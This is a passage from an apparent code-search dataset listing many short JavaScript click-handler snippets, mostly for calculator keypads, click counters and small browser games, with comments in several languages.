entry.val(entry.val() + value);\n }\n $(idbutton).addClass(\"animated pulse\").one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', () => {\n $(idbutton).removeClass(\"animated pulse\");\n });\n });\n}","function addClick(ind){\n var elem = shapes[ind];\n elem.addEventListener(\"click\", function(){\n clicked += 1;\n checkOrder(ind);\n\n });\n }","function SomaClickState() {\n setState(stateValue = stateValue + 1); // Mesma coisa que isso state[1](stateValue);\n // Por setState ser uma funcao ele temq ue ser escrito seu nome e parenteses\n }","function handleNumber(number) {\n if (resultDisplay.innerText == '0' || operatorPressed) {\n changeDisplay('');\n operatorPressed = false;\n }\n resultDisplay.innerText += number;\n}","function clickToSum() {\n\tvar sum = 0;\n\tvar nums = document.getElementsByClassName(\"number\");\n\tvar bigButton = document.getElementsByClassName(\"info\")[0];\n\n\tfor (var i = 0; i < nums.length; i++) {\n\t\tsum += parseInt(nums[i].innerHTML);\n\t}\n\n\tbigButton.getElementsByTagName(\"h2\")[0].appendChild(document.createTextNode(sum));\n}"],"string":"[\n \"function buttonClicked(key) {\\r\\n numberButtons.forEach(number => {\\r\\n if(number.innerText === key) {\\r\\n number.click();\\r\\n }\\r\\n })\\r\\n}\",\n \"handleNumClick(i, e) {\\n let numEvent = new CustomEvent('numPress', { 'detail': { 'number': i } });\\n let keypad = document.getElementById('keypad');\\n keypad.dispatchEvent(numEvent);\\n }\",\n \"function numberClickListener(evt) {\\n var button_id = this.id;\\n digit_response.push(button_id.split(\\\"_\\\")[1]);\\n click_history.push({\\n \\\"button\\\": button_id.split(\\\"_\\\")[1],\\n \\\"rt\\\": Math.round(performance.now() - trial_onset)\\n });\\n if (flag_debug) {\\n console.log(button_id, ' was clicked. ', digit_response, click_history);\\n }\\n }\",\n \"function clickedNum(num) {\\n if (state.result !== undefined) {\\n clear();\\n }\\n\\n if (state.operation === undefined) {\\n state.operandOne = state.operandOne === \\\"0\\\" ? num : (state.operandOne + num);\\n panel.textContent = state.operandOne;\\n } else {\\n state.operandTwo += num;\\n panel.textContent = state.operandTwo;\\n }\\n }\",\n \"function numClick(number) {\\n\\n if ((eval(currentNum) == 0) && (currentNum.indexOf(\\\".\\\" == -1))) {\\n currentNum = number;\\n } else {\\n currentNum += number;\\n }\\n document.getElementById(\\\"result-display\\\").value = currentNum;\\n\\n }\",\n \"function handleNumberClick(i) {\\n function handleClick() {\\n if (i == 0){\\n if (!clickNonZero) {\\n currentNumber = '0';\\n } else {\\n currentNumber += '0';\\n }\\n added = false;\\n } else {\\n if (!clickNonZero){\\n currentNumber = '' + i;\\n clickNonZero = true; \\n } else {\\n currentNumber += i;\\n clickNonZero = true; \\n }\\n added = false; \\n }\\n // update the text\\n paragraph.textContent = pastInput + currentNumber; \\n }\\n return handleClick;\\n}\",\n \"function displayNumbers(nr) {\\n nr.addEventListener(\\\"click\\\", function () {\\n clicked.push(nr.value);\\n screen.innerText += nr.value;\\n })\\n\\n}\",\n \"function click(value) {\\n if (!Number.isNaN(parseInt(value))) {\\n number(value);\\n } else {\\n operation(value);\\n }\\n refresh();\\n}\",\n \"function clickButtonEl(key) {\\n numbersEl.forEach((button) => {\\n if (button.innerText === key) {\\n button.click();\\n }\\n });\\n}\",\n \"function numberClicked(eventData) {\\n let buttonInformation = eventData;\\n let numberClicked = buttonInformation.target.textContent;\\n insertDisplay(numberClicked);\\n}\",\n \"function onNumberClick($event, getNum) {\\n $event.preventDefault();\\n userAttempt = parseInt(getNum);\\n angular.element('.check-btns').css({'pointer-events': 'auto','cursor':'pointer'});\\n return false;\\n }\",\n \"function chitClicked() {\\n press(chitNumberOf(this));\\n}\",\n \"function clickMe (clicked) {\\n let num = clicked.value;\\n console.log(arr);\\n displayNumber (num);\\n}\",\n \"function addNum() {\\n // add number to display\\n\\n function numClick(number) {\\n\\n if ((eval(currentNum) == 0) && (currentNum.indexOf(\\\".\\\" == -1))) {\\n currentNum = number;\\n } else {\\n currentNum += number;\\n }\\n document.getElementById(\\\"result-display\\\").value = currentNum;\\n\\n }\\n\\n\\n// event.target.id to get the number values from the button click\\n\\n// stackoverflow.com/a/35936912/313756\\n\\n\\n\\n $(\\\"#1\\\").click(function(){\\n numClick(\\\"1\\\");\\n });\\n // if ((eval(currentNum) == 0) && (currentNum.indexOf(\\\".\\\" == -1))) {\\n // currentNum = \\\"1\\\";\\n // } else {\\n // currentNum += \\\"1\\\";\\n // }\\n // document.getElementById(\\\"result-display\\\").value = currentNum;\\n // });\\n\\n $(\\\"#2\\\").click(function(){\\n numClick(\\\"2\\\");\\n });\\n\\n $(\\\"#3\\\").click(function(){\\n numClick(\\\"3\\\");\\n });\\n\\n $(\\\"#4\\\").click(function(){\\n numClick(\\\"4\\\");\\n });\\n\\n $(\\\"#5\\\").click(function(){\\n numClick(\\\"5\\\");\\n });\\n\\n $(\\\"#6\\\").click(function(){\\n numClick(\\\"6\\\");\\n });\\n\\n $(\\\"#7\\\").click(function(){\\n numClick(\\\"7\\\");\\n });\\n\\n $(\\\"#8\\\").click(function(){\\n numClick(\\\"8\\\");\\n });\\n\\n $(\\\"#9\\\").click(function(){\\n numClick(\\\"9\\\");\\n });\\n\\n $(\\\"#0\\\").click(function(){\\n numClick(\\\"0\\\");\\n });\\n\\n}\",\n \"function numberClick(event) {\\n\\tif (!ansPressed)\\n\\t{\\n var content = disp.textContent;\\n var btnNum = event.target.textContent.trim();\\n \\n if(content != \\\"0\\\"){\\n\\t //limit the display area to 12 characters\\n\\t if(content.length < 12)\\n content += btnNum;\\n } else {\\n content = btnNum;\\n }\\n \\ndisp.textContent = content;\\n\\t}\\n\\t\\n}\",\n \"function handleClick(number) {\\n console.log(`Button ${number} was clicked`);\\n }\",\n \"function fnNum(a){\\r\\n\\t\\tvar bClear = false;\\r\\n\\t\\toText.value = \\\"0\\\";\\r\\n\\t\\tfor(var i=0;i3) {\\n ;\\n } else {\\n if (string.charAt(string.indexOf(\\\"(\\\") + 1) != string.charAt(string.indexOf(\\\")\\\") - 1)) {\\n var substring1 = Number(string.charAt(string.indexOf(\\\"(\\\") + 1) + string.charAt(string.indexOf(\\\")\\\") - 1));\\n } else {\\n var substring1 = Number(string.charAt(string.indexOf(\\\"(\\\") + 1));\\n }\\n if (Number(val) < substring1) {\\n string += val;\\n checkLength(string);\\n displayBox.innerHTML = string;\\n } else {\\n displayBox.innerHTML = \\\"Invalid\\\";\\n $(\\\"button\\\").prop(\\\"disabled\\\", true);\\n $(\\\".calu-func\\\").attr(\\\"disabled\\\", false);\\n }\\n }\\n }\",\n \"function operandClicked(key) {\\r\\n operatorButtons.forEach(operator => {\\r\\n if(operator.innerText === key) {\\r\\n operator.click();\\r\\n }\\r\\n })\\r\\n}\",\n \"function numberClick() {\\n lowerDisplayString += $(this).attr('id');\\n displayString += $(this).attr('id');\\n $('#display').text(displayString);\\n $('#lower-display').text(lowerDisplayString);\\n $(this).addClass('keyFrame');\\n keyFrame = $(this);\\n window.setTimeout(removeKeyframe, 250);\\n}\",\n \"function clickDigit(number) {\\n if (active==\\\"input\\\") {\\n\\n if ((decimalPoints + digitPoints) > 9) {\\n return;\\n }\\n\\n if (decimalActive) {\\n decimalPoints ++;\\n\\n if (input >= 0) {\\n input += number*Math.pow(10,(-1)*(decimalPoints));\\n }\\n\\n else {\\n input -= number*Math.pow(10,(-1)*(decimalPoints));\\n }\\n }\\n\\n else {\\n\\n if (input == 0 && number ==0) {\\n return\\n }\\n\\n else {\\n digitPoints ++;\\n\\n if (input >= 0) {\\n input = (input*10)+number;\\n }\\n\\n else {\\n input = (input*10)-number;\\n }\\n\\n }\\n\\n }\\n\\n setScreen(\\\"input\\\");\\n\\n }\\n\\n else if (active==\\\"calculation\\\") {\\n input = number;\\n digitPoints=1;\\n\\n setScreen(\\\"input\\\");\\n }\\n\\n else {\\n setScreen(\\\"ERROR\\\");\\n }\\n\\n}\",\n \"function buttonPress(clickId,displayId,number){\\n const clickBtn= document.getElementById(clickId);\\n clickBtn.addEventListener(\\\"click\\\", function(){\\n document.getElementById(displayId).value+=\\n number;\\n})\\n}\",\n \"function handleNum(e) {\\n\\n // There are two ways into this function: either clicking on the number or pressing said num in the keyboard\\n // This \\n let numberPressed;\\n (e instanceof Event) ? numberPressed = e.target.textContent : numberPressed = e;\\n\\n if (lastBtnPressed == 'operator' || mainDisplay.textContent == '0') {\\n mainDisplay.textContent = numberPressed;\\n } else {\\n mainDisplay.textContent += numberPressed;\\n\\n // If the width of the display is higher than the preset value, ignore last number (as to prevent visual overflow)\\n if(getComputedStyle(mainDisplay).width != '370px') {\\n let auxArr = Array.from(mainDisplay.textContent);\\n auxArr.pop();\\n mainDisplay.textContent = auxArr.join('');\\n }\\n }\\n\\n lastBtnPressed = 'number';\\n clearBtn.textContent = 'C';\\n}\",\n \"function amelioration(){\\n return nbMultiplicateurAmelioAutoclick +9;\\n}\",\n \"function clickPlusMinus() {\\n if (dispError()) return;\\n if (currentNumber===undefined) {\\n if (storedNumber === undefined) return;\\n currentNumber = -1 * storedNumber;\\n digitAfterPeriod = String(currentNumber).split('.')[1] === undefined ? 0 : String(currentNumber).split('.')[1].length + 1;\\n } else {\\n currentNumber *= -1;\\n }\\n displayStoredContent('');\\n displayCurrentNumber();\\n}\",\n \"function strum(){\\n let button;\\n for(let i = 6; i >= 1; i--){\\n button = document.getElementById(i);\\n button.click();\\n }\\n}\",\n \"function panierIncrement0(){\\n boutonPanier[0] = document.querySelector('#bouton-panier-0');\\n boutonPanier[0].addEventListener('click', () =>{\\n i++;\\n nbrPanier.innerHTML = i;\\n prixPanier0();\\n }); \\n}\",\n \"handleClick(e, number) {\\n console.log(\\\"clicke\\\" + e.target);\\n this.counter += number;\\n }\",\n \"function putNumber(num){ // for buttons\\n line.value = line.value + num.toString();\\n}\",\n \"function clickDigit(digit) {\\n if (operator === null) {\\n if (firstOperand.includes('.') && digit === '.') {\\n // Do Nothing\\n } else {\\n setFirstOperand(`${firstOperand}${digit}`)\\n setDisplay(`${firstOperand}${digit}`)\\n }\\n } else {\\n if (secondOperand.includes('.') && digit === '.') {\\n // Do Nothing\\n } else {\\n setSecondOperand(`${secondOperand}${digit}`)\\n setDisplay(`${secondOperand}${digit}`)\\n }\\n }\\n }\",\n \"function reiniciar() {\\n $(\\\"#num1\\\").text(\\\"\\\");\\n $(\\\"#num2\\\").text(\\\"\\\");\\n $(\\\"#num3\\\").text(\\\"\\\");\\n $(\\\"#num4\\\").text(\\\"\\\");\\n $(\\\"#num5\\\").text(\\\"\\\");\\n $(\\\"#num6\\\").text(\\\"\\\");\\n $(\\\"#num7\\\").text(\\\"\\\");\\n $(\\\"#num8\\\").text(\\\"\\\");\\n $(\\\"#num9\\\").text(\\\"\\\");\\n $(\\\".celda\\\").click(jugada);\\n numero=0;\\n // cualquiera de los dos se puede \\n //$(document).on(\\\"click\\\", \\\".celda\\\", jugada);\\n}\",\n \"function numberClicked(number) {\\r\\n status = document.getElementById(\\\"hidden_status\\\").value ;\\r\\n \\r\\n if (status == 'eq') {\\r\\n number_new = number;\\r\\n document.getElementById(\\\"hidden_text\\\").value ='';\\r\\n document.getElementById(\\\"hidden_status\\\").value ='ok';\\r\\n }\\r\\n else if (status == 'operator') {\\r\\n number_new = number;\\r\\n document.getElementById(\\\"hidden_status\\\").value ='ok';\\r\\n } \\r\\n else{\\r\\n number_prev = document.getElementById(\\\"display\\\").value;\\r\\n number_new = number_prev + number; \\r\\n }\\r\\n \\r\\n\\r\\n document.getElementById(\\\"display\\\").value = number_new;\\r\\n\\r\\n addText(number);\\r\\n\\r\\n // decimal point can be only once\\r\\n if (number == '.') {\\r\\n disableDecimalPoint(true);\\r\\n }\\r\\n\\r\\n}\",\n \"function doeClick(){\\n \\n countClik ++;\\n var number= this.getAttribute('data-role');\\n totalCount += parseInt(number);\\n uitvoeren();\\n}\",\n \"function ceClicked(){\\n\\t$display.val('');\\n\\tneedNewNum = true;\\n\\tnumEntered = false;\\n}\",\n \"function choiceClick(counter) {\\n $('#picture .slick-next').trigger('click');\\n $('.img-overlay').find('.click-overlay').parent().next().find('.overlay').addClass('click-overlay');\\n $('#picture-array .slick-next').trigger('click');\\n $('.image_number').html(counter + 1 + ' of 46');\\n}\",\n \"function input_digit(n) {\\n if (equals_just_used) {\\n AC();\\n }\\n equals_just_used = false;\\n operator_click_num = 0;\\n digit_click_num++;\\n update_variables('digit', n);\\n update_display();\\n}\",\n \"function buttonClickHandler(el) {\\n removeLeadingZero(el)\\n lastValue = el.value\\n\\n let basicOperator = evalBasicOperator(el)\\n if (calculatePower(el)) {\\n\\n }\\n else if (basicOperator != null) {\\n display += basicOperator\\n evaluationString += basicOperator\\n if(basicOperator == \\\"-\\\" || basicOperator ==\\\"+\\\"){\\n lastDigitClicked += basicOperator\\n }\\n } else if (!evalComplexOperator(el)) {\\n if(!isNaN(el.value)){\\n if(!isNaN(lastValue)){\\n lastDigitClicked += el.value\\n }else{\\n lastDigitClicked = el.value\\n }\\n }\\n display += el.value\\n evaluationString += el.value\\n }\\n document.getElementById(\\\"output\\\").value = display\\n}\",\n \"function digitsListener(item, i){\\n item.addEventListener('click', function(){\\n if(digits[i].textContent==='.'){\\n if(!sign && firstNumber.indexOf('.')>-1) return;\\n if(sign && secondNumber.indexOf('.')>-1) return;\\n }\\n if((!firstNumber && digits[i].textContent==='.') ||\\n (sign && !secondNumber && digits[i].textContent==='.')) {\\n inputPanel.innerHTML+=\\\"0\\\";\\n }\\n inputPanel.innerHTML+=digits[i].textContent;\\n if(sign===\\\"\\\"){\\n firstNumber+=digits[i].textContent;\\n }\\n else {\\n secondNumber+=digits[i].textContent;\\n }\\n })\\n}\",\n \"function prixamelioclick(){\\n return Math.round(500 * (nbMultiplicateurAmelioAutoclick * 0.5));\\n}\",\n \"function keyboardListener(key) {\\n switch (key) {\\n case 13:\\n $(\\\"#equals\\\").trigger(\\\"click\\\");\\n break;\\n case 42:\\n $(\\\"#multiply\\\").trigger(\\\"click\\\");\\n break;\\n case 43:\\n $(\\\"#add\\\").trigger(\\\"click\\\");\\n break;\\n case 45:\\n $(\\\"#subtract\\\").trigger(\\\"click\\\");\\n break;\\n case 46:\\n $(\\\"#decimal\\\").trigger(\\\"click\\\");\\n break;\\n case 47:\\n $(\\\"#divide\\\").trigger(\\\"click\\\");\\n break;\\n case 48:\\n $(\\\"#zero\\\").trigger(\\\"click\\\");\\n break;\\n case 49:\\n $(\\\"#one\\\").trigger(\\\"click\\\");\\n break;\\n case 50:\\n $(\\\"#two\\\").trigger(\\\"click\\\");\\n break;\\n case 51:\\n $(\\\"#three\\\").trigger(\\\"click\\\");\\n break;\\n case 52:\\n $(\\\"#four\\\").trigger(\\\"click\\\");\\n break;\\n case 53:\\n $(\\\"#five\\\").trigger(\\\"click\\\");\\n break;\\n case 54:\\n $(\\\"#six\\\").trigger(\\\"click\\\");\\n break;\\n case 55:\\n $(\\\"#seven\\\").trigger(\\\"click\\\");\\n break;\\n case 56:\\n $(\\\"#eight\\\").trigger(\\\"click\\\");\\n break;\\n case 57:\\n $(\\\"#nine\\\").trigger(\\\"click\\\");\\n break;\\n }\\n}\",\n \"function clickCube(){\\r\\n\\tlet cube = parseInt(document.querySelector(\\\"#cube\\\").value);\\r\\n\\tconsole.log(cube * cube * cube);\\r\\n}\",\n \"function clickedOn() {\\n if (this.id === 'C' || this.id === '/' || this.id === 'X' || this.id === '-' || this.id === '+' || this.id === '=' || this.id === '.') {\\n symPress(this.id);\\n } else {\\n numPress(this.id);\\n }\\n // If NaN (for example, from 0/0) clears the calc and displays a message)\\n if (displayWindow.innerHTML === 'NaN') {\\n clear();\\n displayWindow.innerHTML = '-Undefined-';\\n }\\n // Debugging Logs:\\n console.log(`Equation: ${num1} ${operand} ${num2}`);\\n console.log(`Equal temp num: ${equalTemp}; eqPress: ${eqPress}`)\\n console.log('---------------');\\n}\",\n \"function inputNum(evt){\\n //have one event on the parent that listens to all the children. The if statement stops the even firing if the parent element is clicked. \\n num += evt.target.id;\\n screen.value = num;\\n}\",\n \"function ClickCounter() {}\",\n \"function getNumber(e) {\\n 'use strict';\\n\\n // if the actions array has a number\\n // and no operator then reset the array\\n if (actions.length === 1) {\\n num = '';\\n results = [];\\n actions = [];\\n }\\n\\n keyPress = e.currentTarget.id;\\n // console.log(keyPress);\\n\\n // make sure only one decimal\\n if (keyPress === 'dot' || keyPress === '.') {\\n // console.log(result.indexOf('.'));\\n if (results.indexOf('.') === -1) {\\n keyPress = '.';\\n results.push(keyPress);\\n }\\n } else {\\n results.push(keyPress);\\n }\\n // console.log(results);\\n\\n // make the number from the array\\n num = results.join('');\\n // strip off leading zero's\\n // console.log(/^0+[1-9]+/.test(num));\\n if (/^0+[1-9]+/.test(num)) {\\n // console.log(\\\"zeros with a number\\\");\\n num = num.replace(/^0+/, '');\\n } else if (/^0+\\\\./.test(num)) {\\n // console.log(\\\"zeros with a dot\\\");\\n num = num.replace(/^0+\\\\./, '0.');\\n } else if (/^0+/.test(num)) {\\n // zero\\n // console.log(\\\"all zeros\\\");\\n num = 0;\\n }\\n // console.log('results: ' + num);\\n if (isNaN(num) === false) {\\n showNum(num);\\n return;\\n } else {\\n return;\\n }\\n }\",\n \"function getNumbers() {\\n let numbers = document.getElementsByClassName('number');\\n for(i=0; i {\\n let eventData = event;\\n numberClicked(eventData);\\n });\\n }\\n \\n}\",\n \"function celulaClick() {\\n let loc = this.id.split(\\\"_\\\");\\n let row = Number(loc[0]);\\n let col = Number(loc[1]);\\n\\n if (this.className==='vivo'){\\n this.setAttribute('class', 'muerto');\\n aGen[row][col] = 0;\\n \\n }else{\\n this.setAttribute('class', 'vivo');\\n aGen[row][col]=1;\\n }\\n}\",\n \"click() { }\",\n \"function operator(x) {\\n decimal_clicked = false;\\n equals_just_used = false;\\n digit_click_num = 0;\\n if (x != \\\"%\\\") {\\n operator_click_num++;\\n }\\n update_variables('operator', x);\\n update_display();\\n}\",\n \"function clickNumber(event) {\\r\\n console.log(event.target.value);\\r\\n \\r\\n if(operation.innerHTML == \\\"\\\")\\r\\n\\tfirstNumber.innerHTML += event.target.value;\\r\\n else if(operation.innerHTML != \\\"\\\")\\r\\n\\tsecondNumber.innerHTML += event.target.value;\\r\\n}\",\n \"function dondeClick(event) {\\n if (event.target.className == \\\"asiento\\\") {\\n event.target.classList.add(\\\"seleccionado\\\");\\n document.getElementById(\\\"numero\\\").innerHTML++;\\n calcularPrecio();\\n almacenar();\\n } else if (event.target.className == \\\"asiento seleccionado\\\") {\\n event.target.classList.remove(\\\"seleccionado\\\");\\n document.getElementById(\\\"numero\\\").innerHTML--;\\n calcularPrecio();\\n almacenar();\\n }\\n}\",\n \"function dailNumberFunc(e){ \\n let clickBtn=e.target.textContent; \\n showHideDisplays('none','none','block')\\n let dailNumber=['1','2','3','4','5','6','7','8','9','0','*','#']; \\n let addingNumber=dailNumber.find(elem=>{\\n return clickBtn===elem?elem:null; })\\n if(addingNumber===undefined){\\n return; \\n } else{ \\n if(textArea.textContent.length>=7){\\n textArea.style.fontSize='1.5em'; \\n }\\n if(textArea.textContent.length>=20){\\n textArea.style.fontSize='1em';\\n }\\n if(textArea.textContent.length>=30){\\n return\\n }\\n textArea.textContent += addingNumber; \\n } }\",\n \"function ClickEvent(maso){\\n var string_So_Luong=\\\"\\\";\\n //lay string text box\\n string_So_Luong=document.getElementById(maso.ToString()).value;\\n //parse to int\\n So_Luong = parseInt(string_So_Luong);\\n \\n\\n }\",\n \"function digitPressed(digit) {\\n button = document.querySelector(`.number${digit}`);\\n button.classList.add(\\\"clicked\\\");\\n if (display.classList.contains(\\\"clear\\\")) {\\n display.textContent = \\\"\\\"; // clear display\\n display.classList.remove(\\\"clear\\\");\\n }\\n if(display.textContent.length > 10){\\n return;\\n }\\n display.textContent += digit;\\n}\",\n \"function clickOn1(){if(goodAnswer == 1){ correctAnswerClick(1); }else{ badAnswerClick(1); }}\",\n \"function printDigit(e) {\\n let obj=e.target;\\n\\n if (result.value==='0') {\\n result.value=obj.textContent;\\n } else {\\n result.value +=obj.textContent;\\n }\\n}\",\n \"function digit_input_one (value) {\\n //conditional to allow number click\\n if (buttonClick === null) {\\n //get number value from html element\\n var numberRetriever = $(value).children('h3').html();\\n //differentiate between a decimal. If decimal has been clicked during forst operand then no other decimals will be allowed\\n if(numberRetriever === '.' && decimalClick === null) {\\n number = numberRetriever;\\n //sets decimal conditional to be false\\n decimalClick = false;\\n }\\n //conditional to allow all html elements besides decimals top be logged\\n else if (numberRetriever != '.') {\\n number = numberRetriever;\\n }\\n console.log('Subsequent Number is: ' + number);\\n //Once the first number has been enetered the operators may be clicked\\n operatorClick = true;\\n }\\n //empty operand value set to add on the the number value for every click\\n operand += number;\\n //reset the number value\\n number = '';\\n //show the operand value on the screen\\n $('.output').html(operand);\\n console.log(operand);\\n //allow operator buttons to be clicked\\n equateClick = true;\\n}\",\n \"function onClick () {\\n\\n // erhöhe den Wert der Variable 'clicks' um 1\\n clicks++;\\n\\n var text = '';\\n\\n if (clicks === 1) {\\n // beim ersten Klick\\n text = 'Hallo!';\\n } else if (clicks < 4) {\\n // beim zweiten und dritten Klick\\n text = 'Hmmm';\\n } else {\\n // bei allen folgenden Klicks\\n text = 'Autsch!';\\n }\\n\\n // setze den Inhalt des Elements mit der ID 'reaktion' auf den zuvor bestimmten Text\\n reaktion.textContent = text;\\n }\",\n \"function toOctClicked(){colorTo(3); toOct = true, toDec = false; toBin = false, toHex = false;}\",\n \"function numberClicked(event) {\\n\\n if (para.textContent.includes(\\\"=\\\")) {\\n // do nothing\\n } else if ((event.target.innerHTML == \\\".\\\") && (para.textContent.endsWith(\\\".\\\"))) {\\n // do nothing\\n } else {\\n para.textContent += event.target.innerHTML;\\n }\\n}\",\n \"function touches9() {\\n\\tif (num[9]==true){\\n\\t\\twindow.document.calculatrice.affiche.value = \\n\\t\\twindow.document.calculatrice.affiche.value + \\\"9\\\";\\n\\t} else {\\n\\t\\twindow.document.calculatrice.affiche.value = \\n\\t\\twindow.document.calculatrice.affiche.value + \\\"\\\";\\n\\t}\\n}\",\n \"function clicked(d,i) {\\n\\n}\",\n \"function clicked(d,i) {\\n\\n}\",\n \"function setupNumberButtons() {\\n let buttons = document.querySelectorAll(\\\".button-operator, .button-number\\\");\\n for (var i = 0; i < buttons.length; i++) {\\n buttons[i].addEventListener('click', addToScreen, false);\\n }\\n}\",\n \"function updateClickerDisplay(num) {\\n clickerCounterDisplay.innerText = num;\\n}\",\n \"clickNumber(event) {\\n\\n // 'number' is set to the number clicked\\n let NUMBER = event.target.innerText\\n\\n /* \\n If the number 0 is clicked, we don't want 0 to simply be concating onto the existing operand\\n lest we create a situation where we have '003080', so we separate zero and check whether it\\n should be appended\\n */\\n\\n if(NUMBER==ZERO) {\\n this.handleZero()\\n }\\n\\n /*\\n If the value of the operand is default '0' then 'number' is not concated to it, but replaces\\n the default value. This prevents readouts like '03' (if 3 is clicked.) Instead it will become '3'\\n */\\n else {\\n if(this.state.operand==ZERO) {\\n this.setState({operand: NUMBER});\\n this.updateLowerDisplay(NUMBER);\\n }\\n else if(this.state.operand!=ZERO) {\\n this.handleConcat(NUMBER);\\n }\\n }\\n }\",\n \"function onClickUno() {\\n if (operandoType != 1) { opHiddenIndex++; }\\n operandoType = 1;\\n strDisplay += \\\"1\\\";\\n\\n insertOpHidden(\\\"1\\\");\\n refreshDisplay();\\n}\",\n \"function listenForClick(number) {\\n if (TEST_LIGHTS === game[TEST_MODE]) {\\n setTimeout(function () {\\n nextRound()\\n }, 1000);\\n }\\n}\",\n \"function autoclickprix(){\\n return Math.round(200 * (nbMultiplicateurAmelioAutoclick * 0.40));\\n}\",\n \"function o(a){a.click(p).mousedown(ka)}\",\n \"function crystalClick () {\\n counter += parseInt($(this).attr(\\\"value\\\"));\\n\\t\\t$(\\\".score-number\\\").html(counter);\\n\\t\\tif (counter == targetNumber) {\\n\\t\\t\\twins++;\\n\\t\\t\\ttotalReset();\\n\\t\\t}\\n\\t\\telse if (counter > targetNumber) {\\n\\t\\t\\tlosses++;\\n\\t\\t\\ttotalReset();\\n };\\n console.log(\\\"clicks are working\\\")\\n }\",\n \"numBoxClicked(numBoxRow, numBoxCol, numBoxVal) {\\n \\tif (this.model.crossOutNum(numBoxRow, numBoxCol, numBoxVal) === true) {\\n \\t\\tthis.view.strikeNum(numBoxRow, numBoxCol);\\n \\t\\t\\n \\t\\tif (this.model.crossOutLockBox(numBoxRow, numBoxCol) === true) {\\n \\t\\t\\tthis.view.strikeLockBox(numBoxRow);\\n \\t\\t\\tthis.view.disappearDie(numBoxRow);\\n \\t\\t}\\n \\t\\t\\n \\t\\tthis.view.changeButtons(this.model.gamePhase);\\n \\t\\tthis.gameOverCheck();\\n \\t}\\n }\",\n \"function btn1click(){\\n //calling function with btn number\\n if(start ==true){ selectImg(\\\"1\\\");}\\n}\",\n \"function runEventListener (i){\\n clickSound.play()\\n let currentButtonText = buttons[i].innerHTML\\n if ((!isNaN(currentButtonText) || currentButtonText === '.') && temporaryValue.length < 10){\\n clickNumberButton(currentButtonText)\\n }\\n else if (currentButtonText === 'AC'){\\n clickAcButton ()\\n }\\n else if (currentButtonText === 'CE'){\\n clickCeButton ()\\n }\\n else if (currentButtonText === '='){\\n clickEqualButton ()\\n }\\n else if (isNaN(currentButtonText)){\\n clickSymbolButton (currentButtonText)\\n }\\n}\",\n \"function clickListener(num) {\\n\\treturn function() {\\n\\t\\tself.port.emit(\\\"clicked-link\\\", num);\\n\\t};\\n}\",\n \"function printDigit(e) {\\n let obj = e.target;\\n \\n if (result.value === '0') {\\n result.value = obj.textContent;\\n } else {\\n result.value += obj.textContent;\\n }\\n}\",\n \"function numero1(num){\\n \\n if(document.getElementById(\\\"Ctexto\\\").value==\\\"\\\" && op==false ){\\n\\t\\tdocument.getElementById(\\\"Ctexto\\\").value=num;\\n\\t\\top=true;\\n\\t\\tcont++;\\n\\t\\tdocument.getElementById(\\\"dados1\\\").style.visibility =\\\"hidden\\\";\\n\\t\\t\\n\\t}else if(op==false){\\n\\t\\t//$('#dados1,#dados2,#dados3,#dados4,#dados5').click(function (){$(this).hide()});\\n\\t\\tdocument.getElementById(\\\"Ctexto\\\").value+=num;\\n\\t\\top=true;\\n\\t\\tcont++;\\n\\t\\tdocument.getElementById(\\\"dados1\\\").style.visibility =\\\"hidden\\\";\\n\\t}\\n\\n}\",\n \"function clickPageNumber(pagenumber){\\n pageNumber = pagenumber;\\n //chang display amount label and write page to next page\\n changeDisplayAmount(displayType,pagenumber);\\n}\",\n \"function clickOperator(event) {\\r\\n console.log(event.target.value);\\r\\n \\r\\n if(secondNumber.innerHTML != \\\"\\\" || firstNumber.innerHTML == \\\"\\\")\\r\\n\\treturn;\\r\\n operation.innerHTML = event.target.value;\\r\\n}\",\n \"function touches1() {\\n\\tif (num[1]==true){\\n\\t\\twindow.document.calculatrice.affiche.value = \\n\\t\\twindow.document.calculatrice.affiche.value + \\\"1\\\";\\n\\t} else {\\n\\t\\twindow.document.calculatrice.affiche.value = \\n\\t\\twindow.document.calculatrice.affiche.value + \\\"\\\";\\t\\t\\n\\t}\\n}\",\n \"function operClicked(){\\n\\tif((chain === false)){\\n\\t\\tfirstMemory = Number($display.val());\\n\\t} else if(numEntered){\\n\\t\\tif(operator === \\\"+\\\"){\\n\\t\\t\\tfirstMemory = add(firstMemory, Number($display.val()));\\n\\t\\t} else if(operator === \\\"-\\\"){\\n\\t\\t\\tfirstMemory = substract(firstMemory, Number($display.val()));\\n\\t\\t} else if(operator === \\\"×\\\"){\\n\\t\\t\\tfirstMemory = multiply(firstMemory, Number($display.val()));\\n\\t\\t} else if(operator === \\\"÷\\\"){\\n\\t\\t\\tfirstMemory = divide(firstMemory, Number($display.val()));\\t\\n\\t\\t}\\n\\t} \\n\\n\\toperator = $(this).text();\\n\\tconsole.log(operator);\\n\\tchain = true;\\n\\tneedNewNum = true;\\n\\tisThereDot = false;\\n\\tnumEntered = false;\\n}\",\n \"function operatorPressed(operator) {\\n // if remaining minus, do nothing\\n if (display.textContent === '-'){\\n return;\\n }\\n const button = document.querySelector(`.${getOperatorName(operator)}`);\\n button.classList.add(\\\"clicked\\\");\\n display.dataset.numbers += \\\",\\\"+display.textContent; // save number\\n display.dataset.operators += \\\",\\\"+operator; // save operator\\n display.classList.add(\\\"clear\\\");\\n}\",\n \"function printNumber() {\\n\\n //Attribution du symbol du bouton cliqué (chiffre) à la variable nb\\n let nb = this.getAttribute(\\\"data-symbol\\\");\\n\\n //Affiche le chiffre cliqué dans l'écran (screen)\\n screen.textContent += nb;\\n\\n //On enlève tous les espaces du string (screen) et on met cela dans la variable screenContent\\n let screenContent = screen.textContent.replace(/\\\\s/g, \\\"\\\");\\n \\n //On affiche le résultat de l'équation dans screenResult avec un arrondit à 2 chiffres après la virgule\\n screenResult.textContent = `= ${Math.round(eval(screenContent)*100)/100}`;\\n\\n //On enlève la classe \\\"result\\\" au screenResult\\n screenResult.classList.remove(\\\"result\\\");\\n}\",\n \"function buttonClick(value) {\\n if (isNaN(parseInt(value))) {\\n handleSymbol(value);\\n } else {\\n handleNumber(value);\\n }\\n rerender();\\n}\",\n \"function buttonClicked(value) {\\n\\tif (isNaN(parseInt(value))) {\\n\\t\\thandleOperators(value);\\n\\t\\tclear(value);\\n\\t} else {\\n\\t\\tnumberManage(value);\\n\\t}\\n\\trerender();\\n}\",\n \"function acClicked(){\\n\\tfirstMemory = 0;\\n\\tsecondMemory = 0;\\n\\tshowOnDisplay('');\\n\\tneedNewNum = true;\\n\\tchain = false;\\n\\tnumEntered = false;\\n}\",\n \"function handler(){\\n switchCounter++;\\n if(switchCounter%2===1 && $values.innerText.length<8){\\n 